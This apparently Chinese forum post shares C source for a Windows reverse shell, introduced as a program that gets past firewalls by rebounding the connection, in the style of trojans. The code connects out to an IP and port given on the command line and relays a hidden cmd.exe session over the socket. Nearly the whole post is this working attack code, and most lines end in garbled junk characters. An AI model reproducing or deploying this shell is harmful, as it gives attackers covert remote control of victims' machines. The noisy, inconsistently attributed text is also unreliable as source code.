这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 o?j8"^!7
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/* ============================== N:'!0|6?x-
Rebound port in Windows NT C=v+e%)x@
By wind,2006/7 DS>&|zF5l
===============================*/ vqO#Z
#include PHY!yc-LjV
#include 4;r,U{uR
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#pragma comment(lib,"wsock32.lib") ~(huUW
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void OutputShell(); YRr,{[e
SOCKET sClient; 'mTY56Yq
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \ym^~ Q|
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void main(int argc,char **argv) .Dl ?a>I
{ -3azA7tzz
WSADATA stWsaData; WVKAA.
int nRet; 2FV@?x0po
SOCKADDR_IN stSaiClient,stSaiServer; ZGsd cnz
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if(argc != 3) 4
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{ u/-EVCHr
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printf("Useage:\n\rRebound DestIP DestPort\n"); O8_!!Qd
return; &zJ*afi)
} S<*IoZ?T
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WSAStartup(MAKEWORD(2,2),&stWsaData); 3S2Alx!6
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZH8 w^}
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stSaiClient.sin_family = AF_INET; 96QY0
stSaiClient.sin_port = htons(0); CSq|R-@<U
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ksuePMIK
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &}7R\co3
{ gsM^Pu09ud
printf("Bind Socket Failed!\n"); |G$-5
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return; sPeTW*HeR
} fjl9*
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stSaiServer.sin_family = AF_INET; ^blw\;LB
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); DI2e%`$
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <eS/-W%n6
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) T]tu#h{
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{ JMo r[*
printf("Connect Error!"); (w5cp!qW9J
return; %N&W_.F6
} ID!S}D
OutputShell(); <)T~_s
} = >tkc/aa
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void OutputShell() J5HK1
{ ]?wz.
char szBuff[1024]; hfyU}`]
SECURITY_ATTRIBUTES stSecurityAttributes; vt*
OSVERSIONINFO stOsversionInfo; g52)/HM
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; JJSE@$",\
STARTUPINFO stStartupInfo; C58o="L3S
char *szShell; W|2| v?v
PROCESS_INFORMATION stProcessInformation; 7Re\*[)T
unsigned long lBytesRead; ]4c+{
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Pmd[2/][
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Fb8d=Zc
stSecurityAttributes.lpSecurityDescriptor = 0; hhZ%{lqL
stSecurityAttributes.bInheritHandle = TRUE; " M?dU^U^
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); K/f-9hE F
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5|K[WvG@Co
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); EA8plQ~GtE
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RtHai[j
stStartupInfo.wShowWindow = SW_HIDE; ~M} K]Li
stStartupInfo.hStdInput = hReadPipe; h4|}BGO
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; K[OOI~"C
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GetVersionEx(&stOsversionInfo); U0:*?uA.
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switch(stOsversionInfo.dwPlatformId) k_wcol,W
{ 5 m-/N?c
case 1: R<6y7?]bZ
szShell = "command.com"; Q>Z~={"
break; gH'hA'
default: jI*@&3
szShell = "cmd.exe"; wS#Uw_[
break; 6fo"k+S
} w(S~}'Sg*P
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); e"eIQI|N
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send(sClient,szMsg,77,0); j<0;JAL
while(1) {2P18&=
{ qmFbq<&
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .nrbd#i-
if(lBytesRead) GF%/q :9
{ [Tbnfst
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); sRT H_]c
send(sClient,szBuff,lBytesRead,0); `VO;\s$5j
} n9={D
else tm=,x~
{ YARL/V
lBytesRead=recv(sClient,szBuff,1024,0); t^YtP3`?b
if(lBytesRead<=0) break; jmaw-Rx
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Jk&!(YK&
} pY
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} z`E=V
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return; XL.f`N.O
}